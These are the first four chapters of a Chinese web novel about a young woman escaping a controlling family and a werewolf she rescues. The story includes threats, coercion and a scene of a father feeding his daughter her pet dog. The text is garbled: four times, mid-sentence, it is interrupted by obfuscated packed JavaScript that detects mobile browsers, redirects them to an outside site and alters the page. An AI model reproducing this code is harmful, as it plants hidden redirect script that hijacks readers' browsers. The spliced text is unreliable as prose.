《如何驯服一头恶狼》 1. 初遇 四月,天气回暖但还带着些冷意,姜榆站在楼顶大露台上,她穿着礼服裙子,夜风吹过,裸露在外的胳膊泛起层层鸡皮疙瘩。 刚刚,交往半年的男友在生日宴上和她求婚了,周围人正在起哄。 “嫁给他!嫁给他!嫁给他……” 本来藏在人群里的姜榆被迫高调起来,她被围在中央,有些不适地蹙起眉,但很快又克制住这股烦躁。 面前的男人单膝跪地,举着戒指盒,正含情脉脉地看着她,等待着回答。 姜榆露出不好意思的笑容,她羞涩地瞟了男人一眼,低下头扭捏地抬起右手,伸到他面前。 “我愿意。” 这场宴会来的都是各个企业和家族的年轻人,氛围并不严肃,姜榆此话一出,四周顿时又爆发出一阵欢呼,甚至还夹杂着口哨声。 “恭喜易少抱得美人归!” “百年好合!早生贵子!” 易天川满面风光,他将那颗5克拉的钻石戒指取出来,套进姜榆的手指。 “小鱼儿,从今天起,你就是我的人了。”他站起身,在姜榆耳边低语。 “嗯。”姜榆轻声回答,带着笑容把头埋进他的胸膛,用害羞掩饰自己的厌恶。 她讨厌这个称呼,讨厌围观的人,讨厌这场宴会,讨厌易天川,但她现在还不能表现出来。 易天川轻嗅她的头发,沉醉道:“小鱼儿,你好香。” 刚消下去的鸡皮疙瘩又浮现出来,姜榆忍住恶心,她拍拍男人的背:“天川,这么多人在围观,你先放开我。” 感受着怀里未婚妻的温柔小意,想到以后天天都有美人在怀,易天川更加得意:“他们爱看就让他们看,别害羞。” 放在他背上的手悄悄握紧,姜榆忍住给这男人来一拳的冲动,小幅度挣扎:“别这样……” 周围哄笑声又起。 “易少抱得这么紧,害怕嫂子跑了不成?” “嫂子这么美,可不得看紧点。” “易少有没有什么秘籍传授给我们,说说怎么样才能搞到这种美人?” 这些话粗鄙甚至有些下流,完全不尊重姜榆,但没有人觉得有问题。 易天川此时终于松开了她,坐到旁边的真皮沙发上,对提问的人说:“追女人要细心耐心,尤其是你嫂子这种漂亮的。光今天这场求婚我就准备了一个月,从场地到每一朵花……” 说起求婚一事,他滔滔不绝,本就上吊的眼尾飞得更高,面庞上的油光随着笑容在灯下闪动。有人殷勤地递上香烟,他接过来,在烟雾缭绕中向一众捧场的公子哥传授“经验”。 姜榆乖顺地坐在他身边,被烟味呛得频频咳嗽,只能尽力维持着表面的优雅。 细心耐心,可笑,光是戒指,尺寸就完全不对,现在正不住地往下滑落,她不得不曲起手指,以防发生“被求婚第一天就弄丢戒指”这种尴尬的事。 接近凌晨,姜榆笑得脸都僵了,这场宴会才终于结束,宾客陆陆续续地离开,最后只剩下他们两人。 易天川抓着她的手,把她禁锢在沙发上。 “小鱼儿,今晚留下来吧,”他埋头在姜榆的脖子里,深深吸了口气,“你已经是我的未婚妻了,现在可以了吧。” 交往的这半年里,她一直以家族传统保守为理由,拒绝易天川的亲密接触,今天她没有理由再拒绝他了。 想到晚上将要发生什么,他兴奋起来,手伸到姜榆的腰侧,那里有块镂空,他可以毫无阻隔地摩挲她白嫩的皮肤。 感受到身前的某个东西,姜榆浑身一僵,只觉得恶心。 虽然早已预料到这一天,但真到了这步,还是会从内心深处生出抗拒。几乎没怎么犹豫,她立刻决定再拖一段时间。 姜榆闭了闭眼,换上那副伪装过无数次的笑容:“可是我今天……不方便。” 易天川立刻听懂她的意思,他松开手,翻身瘫坐在沙发上:“这样啊……” 兴趣一下子消失,他一改刚才的热情,挥手喊来不远处的管家:“我派人送你回去。” “不行!”姜榆猛地抓住他的衣服下摆,“要是被父亲知道,一定会骂我的。” 今天的妆容是姜家请来的化妆师刻意设计的,红的唇,粉的脸颊,睫毛长而翘,眼尾微微上挑,衬得她眼睛黑亮水润,无辜又可怜。姜榆瞪大眼睛,一眨不眨地盯着男人。 她一直知道美貌是她的利器,在牢笼一样的姜家,它可以为她带来很多好处。 果然,像过去无数次一样,易天川很快就妥协,他摸了摸姜榆的脸颊:“放心,你父亲那边我来解决。” 对他来说是再小不过的一件事,对姜榆来说却至关重要,有了保证,她松了口气,撒娇般地靠到他的肩膀上,躲开他的手:“大寿星今天累了这么久,快去休息吧,等会我自己走就行。” 别墅的灯今天会亮一整晚,一批新的人来参加另一场隐秘的宴会。 姜榆没什么要收拾的,摆脱易天川后,她迫不及待地离开这里,和他们错身而过。 易天川做这种肮脏的事时从来不会避着她,因为不在意,但他不知道,姜榆也丝毫不在意。 漫长的一天过去,虽然疲累,但最后时刻好歹是拥有了属于自己的时间和空间,她现在只想快点回到小屋,换上干净舒适的家居服,躺在床上好好睡一觉。 手机里装有定位器,她留在了易家,没有现金,只能走路回去,但这些丝毫无法影响她的好心情。 深夜大街上空无一人,姜榆脱下高跟鞋提在手上,地上时不时有小垃圾出现,于是她专注地盯着地面,慢悠悠地往回走。 易天川帮她隐瞒后,父亲会以为她住在易家,姜榆只有在这种时候才能回到自己的家。 那是几年前她用偷偷攒下的钱买的房子,位置偏远,面积不大,胜在除她之外无人知晓。 姜榆拐进一个巷子,小家就在眼前,她心情愉悦,自在又快乐地哼起小曲,然而她刚哼了一句,调子戛然而止—— 地上有个黑影。 似乎……是个人。 她站在原地,犹豫是否要靠近。 这个时间点在这种偏僻的地方,不是醉鬼就是在外惹了事的人,无论是哪一种,都可能不是什么好人。 黑影看起来人高马大,应该是个男人,横躺着占据了巷子的整个路面,姜榆想穿过小巷,就必须从他身上跨过去。 为了给她养成白皙的皮肤、纤细的身体,姜榆从小就被严格管控,不能晒太阳,不能运动,不能吃垃圾食品,只能做温室里的美丽花朵。 拜姜家所赐,她现在身体还不如一个小孩强壮,要是躺在地上的男人突然暴起,扪心自问,她绝对无法反抗。 但这是她回家的必经之路,如果不走,就意味着她要放弃好不容易偷来的独处时间。 在她纠结时,黑影突然动了一下,姜榆立刻警觉地躲到拐角处,等了半天,没有新的动静,她才探出头来。 只见黑影蜷缩起来,他的头上出现了一小块供人通过的空地。 姜榆当机立断,选择回家。 离得远看不清,走近了才发现男人身边还有一滩不明液体,小巷没有灯,看不清是什么,希望不是血。 走到男人身边时,她踮起脚,身体贴着墙缓慢移动,尽可能地不碰到他一丝一毫,眼看着就要走过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾不上再欣赏这张脸,她放下手电筒,双手一起用力,好不容易才掰开他的手。 也不知道是吃什么长大的,流了这么多血力气还大得惊人。 姜榆摆脱束缚,回家把自己的东西放下,换了身简单舒适的衣服,又取出自己用来拿快递的小推车,重新回到小巷。 她使出吃奶的力气,费了九牛二虎之力才把男人搬上小推车,还好这里离她家只有一百米,不然她绝对不会救他。 回去的路上,她在心里噼里啪啦地打着算盘。 虽然不知道这男人是什么身份,是好是坏,但目前来看他很虚弱,如果放任不管,搞不好他会死在这里。 现在她救了他,无论如何,他对救命恩人应该会有一些感恩之心吧。 如果到时候他醒来,要报答她,她应该要点什么好呢? 他的脸不错,要他的脸?太血腥了。 她突然想到了电视剧里的经典桥段,被救的美人对着英雄含羞说道:“小女子无以为报,只好以身相许。” 到时候易天川发现她的第一次不是和他,脸上的表情一定会很精彩。 想到那个画面,姜榆露出快意的笑容。 她决定了,等这个男人醒来,她就挟恩图报,要他以身相许,她可是救了他的命,睡一次不过分吧。 想好一切,她心情又变得愉悦,哼起那首断了的小曲。 月光温柔地照在她身上,月亮高高挂起。 正是一轮完整的满月。 2. 金色瞳孔 饶是有推车助力,短短两分钟的路,姜榆还是走了快十分钟才回去。 一回到家她就气喘吁吁地坐到餐厅椅子上,她的身上也沾染了血迹,可不能弄脏干净的沙发。 休息够了,她慢吞吞挪到男人身旁观察起来。 他的脸上没有任何伤口,只有腹部的衣服被割开一个大口子,凶器应该很锋利,口子边缘十分整齐。 她把男人的上衣掀开,看清楚后不由得倒吸一口冷气——那道伤口横贯他的右侧腰腹,皮肉翻卷,狰狞异常,有些干涸的血迹像蛛网般蔓延在他的腹部。 姜榆皱眉,这伤口不是她能处理的,要把男人送到医院去吗?但他能去医院吗? 没犹豫多久,她起身去拿消毒水和纱布。 死马当活马医,先试试吧,等他醒来再决定要不要去医院。 姜榆实在是没力气了,便把男人从推车上弄下来,直接扔在了地上。 她以前从没处理过这么严重的伤,回忆着过去在电视剧里看到的情节,不太熟练地消了毒,做了简单的包扎,最后还贴心地把纱布系上了蝴蝶结。 丑陋的伤口被洁白的纱布遮住,这具身体勉强恢复了漂亮的样子。 她满意地欣赏起自己的作品,只是看了片刻心里又有些不爽,左右看了下,捡起刚才扔到一边的剪刀,把他身上黑成一团的衣服裤子全剪开,又用湿毛巾把他脸上和身上的血迹全部擦干净,这才觉得舒服了。 剪衣服的过程中,她发现男人的手背和脚踝处有些擦伤,又涂了一遍药。 这些伤是她刚才把他拖回来造成的。男人又高又壮,小小的快递推车容纳不下他的身体,运输途中不是掉胳膊就是掉腿,姜榆刚开始还会停下来给他塞回去,次数一多便放弃了,一鼓作气把他推了回来。 男人躺平在客厅的地上,他大概有一米九,此刻他干净的脸庞完全露出来,配合这副看起来就很有料的身体,忽略那块纱布,整体堪称完美。 看多了易天川那样的货色,再看这男人,简直一个天上一个地上。 姜榆咽下口水,赶走自己脑袋里那些不健康的想法。 以前她明明是个对男色没兴趣的人,怎么一遇上他就开始控制不住地胡思乱想? 姜榆拿出一条毯子给他盖上,男人体温还是高,但刚才量了下,只是轻微发烧,问题不大。她想了想,把地暖也打开了,希望他能撑过今晚。 随后她翻出自己常用的香水在屋子各个地方喷了一遍,可惜香味没有将血腥味覆盖,反而和它混合,变成了一种更加难以言喻的味道。 白忙活半天的姜榆:…… 这味道还是留给他醒来闻吧。 她把客厅的灯关掉,捂着鼻子冲回卧室。 月光从窗户照进来,男人的身体被笼罩在里面,不久后,他的头顶冒出一双明显不属于人类的白色毛绒耳朵。 许是昨晚太累,姜榆睡了个好觉,罕见地一个梦都没做,直接睡到中午。 她打开卧室门,那股味道已经彻底消散,只有客厅一直放着的白茶香氛味道。 和味道一起消失的还有地上躺着的那个男人。 姜榆揉了揉眼睛,再次确定男人不见了。 要不是地毯上残留的血迹和掀在一边的毛毯,她都要以为自己昨晚其实是做了梦的,梦到捡了个男人回家。 真是个不知感恩的人,居然连句谢谢都没说,就这么不声不响地离开了。 算了,就当她做了回好人好事。 她把毛毯捡起来扔到洗衣机里,又嫌弃地收起地毯,连同昨晚剪开的破烂衣服一起放到门口,打算出门时直接全部扔掉。 肚子开始咕噜噜地叫,姜榆从衣柜抽屉里翻出手机,不太熟练地打开外卖软件,给自己点了份垃圾食品。 她日常带的手机里装有姜家的定位软件,现在她用的是偷藏的手机,只有回到这个小家时,才有机会使用。 点完外卖悠闲等待时,她发现洗衣机没有声音,过去一看,才发现盖子还开着,太久没用过,忘了还要自己洗。 姜榆打开旁边和自己齐高的柜门,准备取洗衣液时,突然一顿—— 柜门中间玻璃上的倒影好像闪过了什么东西。 她猛地回头,身后是摆放得整整齐齐的花架,旁边是一览无遗的阳台,在暖阳下显得日常又温馨。 是她的错觉? 姜榆迟疑地转回来,将洗衣液柔顺剂等胡乱加进去,按下开关,洗衣机嗡嗡地响起来,她回到客厅一边玩手机一边继续等外卖。 这时,手机上方弹出一条消息通知,本来还很懒散的姜榆坐起身。 这个手机上没有安装任何通讯软件,也没有添加任何联系人,但她复制了一份姜家给她的手机到这个手机上,这个消息只会是那里传来的。 她点开,果然是她父亲发来的。 【抓紧时间讨好易少,明天晚上我派人接你去山月庄园。】 姜榆嘲讽地勾了勾嘴角,但很快,她的冷笑僵住。 左侧有一道视线,这次一定不是错觉,因为那道视线如有实质,沉甸甸又阴冷地压在身上。 她第一个猜的就是昨晚那个男人,他还没走,正藏在她家的某个角落里,注视着她。 他想干什么?鸠占鹊巢? 姜榆迅速朝左侧望过去,被窥视的感觉果然消失。 确定那里有人,她收好手机,站起身穿上拖鞋,一边往卧室走一边嘀咕:“我昨晚没睡好吗?” 可惜这欲盖弥彰的话语没有骗过暗处的人,身后传来细微的动静,是那个人动了,他要追上来。 姜榆加快步伐,短短几步路仿佛变成了几百米,一直走不到尽头,混杂在她的脚步声里的还有一个轻微的声音,那声音离她越来越近,越来越近。 在姜榆握住卧室门把手时,她看到阳光在门上投下一个高大的影子,宛如巨兽般将她的影子完全笼罩在里面,她心跳得快要冲出胸腔—— 下一秒,一只手攥住她的手腕。 她在那只手的力道下被迫转身,手被钉在门上,整个后背也撞上卧室门,一种说不清道不明的味道将她彻底包围。 面前是一片裸露的胸膛,腹部还有醒目的白色纱布。 果然是昨晚那个男人。 他站起来感觉比她猜测的还要高一点,她已经一米七,平视也只能看到他的胸口。 手腕被重重地捏了下,姜榆痛呼出声,她仰起脖子看向男人,阳光在他身后,她聚焦了会才看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人没有动,一眼不眨地盯着她,他还在怀疑。 姜榆轻蹙眉头,在他的注视下,眼眶里迅速蓄满泪水。 这个情况下,她下意识选择示弱。 眼泪溢满,顺着瓷白的脸颊流下来,男人皱眉:“你哭什么?” 他又没干什么。 虽然还有一只手是自由的,但姜榆没擦眼泪,维持着梨花带雨的模样,对男人说:“……手腕疼。” 手被松开,男人也稍稍远离,她轻轻给自己揉手腕,心还悬在空中不敢落下。 门铃声响起,伴随持续不断的“外卖”喊声,姜榆小心翼翼地问:“我去拿外卖?” 男人往后退一步,让出空间,她抹干脸上的泪,快步到门口打开房门。 这是一个逃走的机会,如果外卖员报警,就可以把这个恐怖分子抓走,但是这样势必会闹到姜家去,她也会因此失去这个家和来之不易的自由。 但…… 姜榆从外卖员手上接过食品袋,朝他疯狂使眼色。 还是小命更重要点。 可惜对方根本看不懂她的意思,反而关切地问:“小姐,你眼睛怎么了?” 没等她回答,男人的声音从身后传来:“她没事。” 门被“砰”地一声关上,姜榆僵硬地转过身,解释道:“我眼睛太干了,眨眼缓解下。” 说完这句话,她突然想起什么。 眨眼…… 如果她没记错的话,刚才在卧室门口和男人对峙时,从始至终,他没有眨过一次眼。 3. 杀意 这个男人不正常。 姜榆清晰地意识到这点。 “是吗?”他的语气不紧不慢,金黄色的眼睛紧盯着她。 “是的,我是真心想——” 姜榆的话停住,她浑身汗毛直立,心脏再次不争气地开始狂跳——有一个尖锐的东西正从她的脖子上沿着背部缓缓向下游动,是刀还是什么,她不知道,男人的动作太快,她根本来不及看清。 那个东西所过之处泛起一阵鸡皮疙瘩,他好像在挑合适的位置把它插进去。 “真心想什么?”男人一边用动作威胁她一边问。 因为从小在复杂的家庭环境中长大,姜榆天生对危险有着敏锐的感知力,此时她就感觉这个男人真的会杀了她,尽管他的动作和语气都是一副漫不经心的样子。 尖尖的东西从背后游走到小腹,她僵着头往下看了一眼,是一把剪刀,昨天她给男人处理完后太累了,没有收拾东西,没想到那把剪刀被他捡来当武器了。 那双昨天她还赞赏过的手现在正握着剪刀的柄部,是一个拿刀的姿势。 他的手突然用力,手背泛起青筋,他握紧了剪刀,他要捅进来! 姜榆被吓得呼吸骤停,浑身肌肉僵住,她紧闭双眼,大声喊道:“我是真心想救你!” 预想中的疼痛没有袭来,客厅很安静,只有血液在耳膜轰隆隆的声音。 她缓缓睁开眼,剪刀还停在小腹前,没有更进一步,她逃过一劫,憋住的那口气终于松开。 极度恐惧时,姜榆反而哭不出来,只感到一阵脱力,“啪嗒”一声,手里的外卖掉到地上,汤汁溅到她的裤腿上,和男人的小腿上。 他的衣服裤子在昨天已经被毁了,现在还是只穿了底裤的样子。 姜榆慌忙道歉:“对不起,我给你擦。” 说着,她矮身想从男人的包围圈里冲出去,却抓住手腕拽了回来。 “继续。” “继续……什么?” “为什么想救我?” 懂了,这人还是不肯相信她,要追究到底。 也是,正常人遇到这种情况,第一反应应该是送去医院,然后报警,她不仅没做这些,还把他拖回了家,看起来是很可疑。 姜榆离他很近,很容易就感受到他还没退烧,整个人都是滚烫的,呼吸都带着热气。经过刚才的拉扯,他腹部的纱布上隐隐又泛出红色,伤口裂开了,也不知道他怎么还有精力威胁人。 她咽了口唾沫,开始解释:“昨晚我回家的时候已经是凌晨了,那条路很偏僻,没什么人经过,如果我不救你,你很可能会失血而死。至于不报警和不送你去医院,是因为我……我昨晚是从家里逃出来的,不能暴露行踪,我不想被抓回去,所以只能把你带回家,看能不能帮到什么。” “其实我本来也想直接走的,毕竟多一事不如少一事,但路过你的时候,你突然抓住了我,我就想……不能辜负你这么强的求生意志。” 姜榆看到男人皱起眉头,生怕他不信,她撩起自己的裤腿,抬起脚给他看:“真的,我脚踝上这个红印就是你昨天抓的。” 她皮肤很白,那道红印就更加刺眼,男人只看了一眼就移开视线,眉头皱得更紧。 “我不是怪你的意思,”姜榆放下裤子,露出诚恳的微笑,“毕竟你伤得那么重,我能理解。” “还有你的衣服和裤子上全是血,所以我才把它们扔掉的。昨天我只给你处理了伤口,除此之外,我什么都没做,也什么都没看到。” 男人不置可否,只是松开了对她的桎梏,自顾自地坐到沙发上,并随手把剪刀扔到了桌子上。 姜榆小心地观察着他的神色,确定逃过一劫后,才长出一口气,心脏落回原位。 她想走过去,刚迈出一步,才发现自己腿软得走不动,她干脆蹲下身子,收拾起外卖。 “你的事我不会和任何人说,如果你想留下来养伤,我也可以给你提供药物。”她说。 没有回应,她收拾完站起来,终于恢复了点力气,她走到沙发那里,发现男人已经躺在那闭上了双眼,纱布上的红色印记更加明显。 姜榆顿了顿,转身取出昨天剩下的消毒水和纱布,蹲在沙发旁,想给他换药。 手刚碰到纱布就被抓住,男人睁开眼冷冷地盯着她,她立刻解释:“你伤口裂开了,需要重新包扎。” 男人看了她一会,松开手,筋疲力尽般再次闭上眼。 可怜她的手腕脚腕,一天不到,接连遭受重创,她身上的印记向来消退得慢,也不知道这红痕几天才能彻底消掉。 想来想去,还是怪她自己,见色起意救了头恶狼回来,也不知道他到底是什么人,又担心她看到什么? 姜榆在心里骂了这个男人一通,手上还是收着力,解开了纱布。 虽然出了血,但昨天还皮肉翻滚的伤口,今天看着已经恢复了许多。 她傻眼,这男人什么做的,恢复能力这么强悍? 也许是她呆愣的时间太久,男人出声问:“怎么了?” 姜榆回神,把带血的纱布扔到一边,一边给他涂消毒水一边说:“没什么,就是被你的伤口吓到了。” 男人:“嗯。” 话也少得可怜,真不知道他平时会不会和别人社交,不过看他连句谢谢都不会说,心安理得地躺在这跟大爷似的,等她的伺候,想来也不是个会社交的人。 想到他不同寻常的眼睛,不明不白的身份,超出常人的恢复能力和身体,姜榆微微叹气,昨天她竟然还妄想他醒来会报答她,现在看来能在他手下好好活着就不错了。 她主动释放出友善的信号:“我叫姜榆,你呢?” 这个消毒水虽然没那么刺激,但他的伤口这么大,疼痛是必然的,可男人动都没动,面无表情地躺在那任由她处置,平静得好像睡着了,听到姜榆的话,他才终于有了点动静。 “临野。” “林野?” 临野掀开眼皮扫了她一眼:“降临的临。” 临……野? 这个姓真奇怪,但是挺符合他的气质。 她没有多问,从善如流地喊:“嗯,临野。” 临野不再回话,客厅里又安静下来,只剩下姜榆给他包扎时窸窸窣窣的声音。 为了方便缠伤口,他坐起来,姜榆在他的身前左右手不停,来回十几圈才把纱布缠好。 从她的视线里看过去,临野腹部的肌肉块块分明,随着他的呼吸起伏不停,虽然伤痕遍布,但丝毫没有影响整体的美感。 伤口被一层层缠住,血腥味淡去,姜榆在他身上闻到了另一种特别的味道,和她以往闻到的香水或清新剂味道都不一样,香甜,像熟透的水果散发出来的,是一种难以用语言表述的、让人着迷的味道。 那气息钻进肺里,带起身体细小的战栗,仿佛有一只无形的手抚过她的脖颈,激起一片疙瘩。 姜榆忍不住吸了口气,头顶立刻传来临野的声音。 “你在干什么?” 姜榆感觉自己像个偷摸别人的色狼,被正主抓了个着,她触电般收回手,结结巴巴道:“没、没干什么。” 一定是最近看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812952|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易天川看太多了,才会变成这个样子。 临野看起来不太在意她的行为,包扎好后,又闭眼躺下了,小沙发容纳不下他的身体,他的脚和半截腿都悬在空中,但他看上去没有半点抱怨的样子,姜榆也就没开口让他换地方。 唯一可以给他用的毛毯正在洗衣机里,她犹豫片刻,还是把自己的被子拿出来给他盖上。 刚才她摸到他的皮肤还是一片滚烫,于是又从医药箱里翻出来退烧药给他。 “一直烧着很危险,你先吃颗退烧药吧。” 怕他不信自己,姜榆特地把整个未开封的药盒子都给他,向他表示自己没有换过药。临野接过去随便看了眼,就从里面取出一颗药放进嘴里,喉结一滚,那颗药进了肚,她递水的手顿在半空中。 临野:“还有什么事?” 姜榆:“……没事,你好好休息,我不打扰你了。” 客厅有这尊佛是待不下去了,她回到卧室去。 好不容易做次好事,结果救回来一个麻烦,不仅没有享受到好不容易得来的独处时光,还搭上了一顿饭。 在她独自懊悔之时,手机提示音响起,姜榆一震,她就说总觉得忘了点什么,原来是忘了回父亲的消息。 【回话。】 简短的信息透露出他的情绪,姜榆都能想象到父亲在手机那头阴沉的脸色。 她迅速回复:【知道了。】 回完消息,她将手机扔到一旁。 现在好了,客厅里一个麻烦,姜家那边又来个新麻烦。 姜榆觉得有些头晕目眩,眼前的衣柜变成白茫茫的一片,楼下的嘈杂声变成长长的嗡鸣,她晃了晃,头一栽,倒下去,彻底失去了意识。 临野在客厅里闭目养神,连续几天的逃亡让他非常疲惫,但他睡不着。 他不是人类,是个独自生活在人类社会的狼人,每个月圆之夜都是他最弱的时候,追杀他的人一般都会挑这个时间对他进行围捕。 这个月的月圆之时已经过去,对他的影响却还残留在身上。 腹部的伤口隐隐作痛,他现在很烦躁,想杀点什么来缓解这种烦躁。 临野闭了闭眼,压抑住自己,他现在在一个人类的家里,尽管那个人类弱小又无知,但他还需要这个人类帮助自己,不能轻易动手。 这时,不远处的房间里传来一声轻响。 临野迅速睁开眼,他的听力异于常人,更加敏锐。 刚才还有的细微动静在这声轻响后瞬间消失了,那个叫姜榆的人类不知道在房间里做什么,似乎出了意外,陷入了昏迷。 他躺在沙发上没动。 人类惯爱说谎,昨晚是月圆之夜,他不确定自己昏迷之时有没有露出耳朵和尾巴,也不确定她昨天是不是真的没看到。 要是她说谎的话,正好,这次不用他动手了;要是她没说谎,死一个无关紧要的人类而已,和他有什么关系。 临野把被子往上提了下,脚露了出来,被子上全是那个人类的味道,幽香扑鼻,完全将他包围,他“啧”了一声。 这个人类,没事把自己搞那么香做什么。 除了烦以外,他心里还有一种莫名的焦躁,这种焦躁让他四肢百骸都涌动着热意,他很想去咬个什么,但应该咬什么东西,他想象不到。 他觉得自己需要一块冰来降降温,把那股热意消除。 临野突然想起那个人类,抓住她时,他能感觉到她身上冷冷的,抱起来应该会很舒服。 他起身打开卧室门,就当是报答她救了自己,他勉为其难地救她一回。 4. 姜家 姜氏企业是家百年企业,曾辉煌一时,在国内被争相效仿。然而新世纪后,越来越多的创新型人才冒头,市场风向一变再变,姜家却墨守陈规,不肯变革,最终被时代抛弃。 但姜家也没有没落得那么快,毕竟瘦死的骆驼比马大,到了姜山这一代,姜氏企业依旧能苟延残喘,勉强在名门富豪圈子里占据一席之地。 可是这苟延残喘之力靠的不是话事人的能力,而是一些见不得光的交易。 姜榆从出生起就被束缚在姜家这座牢笼,在她父亲姜山的设想里,她的一生都该为了姜家服务。 而这样为了姜家奉献一生的女人,她不是第一个。 她从来没见过母亲那边的人,同样也没见过母亲,家里摆了一些她的照片,姜榆时常拿来观看。 即使只是静态的图,她的母亲也散发着无尽的魅力。 小时候,家里来了位客人,是个看上去和蔼可亲的叔叔,他指着妈妈的照片对她说:“你妈妈好看吗?” 小小的姜榆坚定地点头:“嗯,妈妈是我见过最好看的人。” 叔叔摸摸她的头:“你以后也会和她一样好看的。” 这时,姜山慌里慌张地从门外冲进来,把她拉到自己身后,向那人道歉:“小鱼还小,至少要等她长大。” 他把手背在身后,悄悄向她打手势,示意她离开。 那时候姜榆不明白父亲为什么有这么大的反应,后来才知道,她的妈妈就死在这位叔叔家里,她为姜家拿到了一笔上亿的生意。 彼时姜山对她还是有父爱的,后来姜榆有了弟弟,上亿的资产逐渐消耗殆尽,姜山的父爱也逐渐消失。 他对她的管控越来越严,要求越来越高。 姜榆和弟弟一起被培养,只不过弟弟是被培养成接班人,而她被培养成进宫选秀的秀女,学习的都是如何讨好皇帝的手段。 姜榆痛苦过、挣扎过、逃跑过,最后被抓回来,知道了所有真相。 传言他们家族的女性生来貌美,若与之交合,则能被反哺滋养,延年益寿。 对此姜榆表示:封建迷信。 既然逃不掉她干脆不逃了,她发誓,总有一天要把这些封建迷信一锅端了。 想到过去不知道多少姜家的女人因此牺牲,她就恨得牙痒痒。 睡梦中,姜榆一把抓住身前的人,把他当成姜山,只想掐死他。 然而手一动,她摸到了一团毛茸茸。 那团毛茸茸在梦里变成了她小时候捡到的一只小狗,雪白可爱。它是大雨天时,姜榆在家门口捡到的。 那时她弟弟刚来不久,她还没有被“培养”,姜家还是一团和气的样子,虽然他们父女之间已经不如从前般亲近。 姜榆小心翼翼提出想养这只小狗,姜山答应了。 那段时间是她最开心的日子,借着和小狗玩的由头,她做了许多以前从来不会做的事。 泥地里打滚、浴室里玩水、草地上奔跑,前些天的压抑仿佛只是错觉,她像个无忧无虑的小孩一样,自在地到处飞,她以为以后会一直这样。 然而美梦还是碎掉了。 一天,她放学回家后,小狗没有出来迎接,她问小狗去哪了,姜山笑而不语。 晚饭时,她的面前被摆上一盘肉菜,姜山微笑着让她吃,吃到后来她吃不下了,姜山还是强行将肉塞到她嘴里。 看着父亲狰狞的面目,姜榆很害怕,她不明白父亲为什么又变了副模样,她不敢哭出声,只能一边流泪一边将那盘肉吃完。 姜山终于舒心,他静坐在椅子上告诉她,那是她的小狗。 最后一口肉还在嘴里,姜榆僵住。 胃部猛地抽搐起来,像被一只手狠狠攥住,痉挛、绞痛,酸液翻涌着,喉咙深处泛起阵阵灼热感,她冲到卫生间去,吐了个昏天黑地。 她不知道为什么,明明小狗很乖。 后来她想,小狗乖没用,姜家需要的是她乖,他们容不得半点计划外的情况。 如果不是她捡回小狗,如果她能早点察觉到这些…… 姜榆默默流泪,抱紧了怀里那团毛茸茸的东西。 临野很烦躁,他皱着眉头将自己的尾巴扯了一下,没扯出来,抱着它的女孩还哭了起来,他更加头疼。 他进房间时,女孩正躺在地上不知生死,临野摸了摸她的心跳,一切正常。 想起那份被打翻的外卖,他猜测她应该是饿的。 这个人类未免也太弱了,她比他见过的其他普通人还要虚。 临野把她搬到床上,从冰箱里翻出一瓶汽水,半喂半灌地给她喝了大半瓶,剩下的自己全解决了。 他把被子拿进来,盖在姜榆身上。 卧室里开了空调,比客厅更暖和,临野把她往床里面推了推,自己躺在床的外侧,闭上眼休息。 房间里不知道放了什么熏香,萦绕在他的鼻尖,躁动的神经被安抚,躺着躺着,他真的就睡着了。 也许是太过安逸,在圆月的遗留影响下,再醒来时他的耳朵和尾巴又不自觉地冒了出来,尾巴还被女孩抱在怀里。 这时,姜榆依恋地蹭了蹭他的尾巴,眼泪被抹在上面,留下道道湿痕。 临野长这么大从没哭过,所以他完全无法理解女孩到底哪来这么多眼泪,她的躯干那么细,莫非全存的是水? 第一次有人这么触碰他的尾巴,临野感觉浑身上下都古怪,他盯住睡着的女孩,心里再次冒出熟悉的欲望。 他的手缓缓攀上女孩的脖子。 要不杀了她,这个懦弱的人类能帮他什么? 就算她现在愿意帮他,之后也一定会出卖自己的行踪给那些人,没有人会拒绝“用一个无足轻重的信息换取泼天富贵”。 杀了她,就能永绝后患。 在睡梦中没有痛苦地死去,也算是他给她最后的仁慈。 “……小白。”姜榆咕哝。 临野以为她醒了,迅速松开手,耳朵和尾巴倏地消失,他恢复成人类的样子。 怀里的毛茸茸突然不见,姜榆下意识握紧手,还是抓了个空,她猛地醒来,看到了一双冷漠的、杀意还没完全消散的金黄色瞳孔。 还不如继续做噩梦。 姜榆彻底清醒了。 她只记得自己回了个消息,然后晕了,应该是低血糖。 但是为什么醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812953|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来他们俩会在一张床上。 她坐起来,用生平最轻柔的语气问:“是客厅的沙发不舒服吗?” 临野:“你晕倒了,我救了你。” 姜榆在心里冷哼,如果他眼里没有杀意,她就信了。 “我饿了。”临野掀开被子下床,像个皇帝一样吩咐。 